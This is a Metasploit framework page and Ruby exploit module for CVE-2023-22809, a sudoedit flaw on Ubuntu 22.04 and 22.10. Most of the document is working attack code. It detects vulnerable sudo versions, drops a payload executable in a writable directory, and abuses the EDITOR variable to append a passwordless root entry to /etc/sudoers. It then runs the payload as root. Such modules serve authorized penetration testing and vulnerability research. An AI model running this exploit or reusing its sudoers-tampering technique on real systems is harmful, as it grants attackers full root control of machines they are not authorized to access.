Authored by h00die, Matthieu Barjole, Victor Cutillas | Site metasploit.com

This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root privileges. Affected versions are 1.8.0 through 1.9.12.p1. However, this module only works against Ubuntu 22.04 and 22.10. This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 and 1.9.11p3-1ubuntu1 on Ubuntu 22.10.

advisories | CVE-2023-22809

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudoedit Extra Arguments Priv Esc',
'Description' => %q{
This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.
The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided
environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to
append arbitrary entries to the list of files to process. This can lead to privilege escalation.
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
privileges.

Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
22.04 and 22.10.

This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
1.9.11p3-1ubuntu1 on Ubuntu 22.10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matthieu Barjole', # original PoC, analysis
'Victor Cutillas' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'EDB', '51217' ],
[ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],
[ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],
[ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],
[ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],
[ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],
[ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],
[ 'CVE', '2023-22809' ]
],
'DisclosureDate' => '2023-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),
OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),
]
end

def timeout
datastore['TIMEOUT']
end

# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end

def get_editable_file
if datastore['EDITABLEFILE'].present?
fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])

vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")
return datastore['EDITABLEFILE']
end

# we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to
# be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut
editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E '(root)|(ALL)|(ALL : ALL)' | rev | cut -d " " -f 1 | rev')
editable_file = editable_file.strip
if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')
return nil
end

return nil unless file?(editable_file)

editable_file
end

def get_sudo_version_from_sudo
package = cmd_exec('sudo --version')
package = package.split(' ')[2] # Sudo version XXX
begin
Rex::Version.new(package)
rescue ArgumentError
# this happens on systems like debian 8.7.1 which doesn't have sudo
Rex::Version.new(0)
end
end

def check
sys_info = get_sysinfo

# Check the app is installed and the version
if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'
package = cmd_exec('dpkg -l sudo | grep '^ii'')
package = package.split(' ')[2] # ii, package name, version, arch
begin
ver_no = Rex::Version.new(package)
rescue ArgumentError
ver_no = get_sudo_version_from_sudo
end
else
ver_no = get_sudo_version_from_sudo
end

# according to CVE listing, but so much backporting...
minimal_version = '1.8.0'
maximum_version = '1.9.12p1'
exploitable = false

# backporting... so annoying.
# https://ubuntu.com/security/CVE-2023-22809
if sys_info[:distro] == 'ubuntu'
if sys_info[:version].include? '22.10' # kinetic
exploitable = true
maximum_version = '1.9.11p3-1ubuntu1.1'
elsif sys_info[:version].include? '22.04' # jammy
exploitable = true
maximum_version = '1.9.9-1ubuntu2.2'
elsif sys_info[:version].include? '20.04' # focal
maximum_version = '1.8.31-1ubuntu1.4'
elsif sys_info[:version].include? '18.04' # bionic
maximum_version = '1.8.21p2-3ubuntu1.5'
elsif sys_info[:version].include? '16.04' # xenial
maximum_version = '1.8.16-0ubuntu1.10+esm1'
elsif sys_info[:version].include? '14.04' # trusty
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
end
end

if ver_no == Rex::Version.new(0)
return Exploit::CheckCode::Unknown('Unable to detect sudo version')
end

if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)
vprint_good("sudo version #{ver_no} is vulnerable")
# check if theres an entry in /etc/sudoers that allows us to edit a file
editable_file = get_editable_file
if editable_file.nil?
if exploitable
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
else
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")
end
elsif exploitable
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")
else
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")
end
end

CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

if get_editable_file.nil?
fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'
end

# Make sure we can write our exploit and payload to the local system
unless writable?(base_dir) && directory?(base_dir)
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

sys_info = get_sysinfo

# Check the app is installed and the version
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)

@flag = Rex::Text.rand_text_alphanumeric(12)
print_status 'Adding user to sudoers'
# we tack on a flag so we can easily grep for this line and clean it up later
command = "EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} # #{@flag}' -- /etc/sudoers" sudo -S -e #{get_editable_file}"
vprint_status("Executing command: #{command}")

output = cmd_exec command, nil, timeout
if output.include? '/etc/sudoers unchanged'
fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')
end

if output.include? 'sudo: ignoring editor'
fail_with(Failure::NotVulnerable, 'sudo is patched')
end

output.each_line { |line| vprint_status line.chomp }
print_status('Spawning payload')

# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
# also, attempting to thread off of sudo was problematic, solution was
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
# other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t
output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end

def on_new_session(session)
if @flag
session.shell_command_token("sed -i '/# #{@flag}/d' /etc/sudoers")
flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")
if flag_found.include? @flag
print_bad("Manual cleanup is required, please run: sed -i '/# #{@flag}/d' /etc/sudoers")
end
end
super
end
end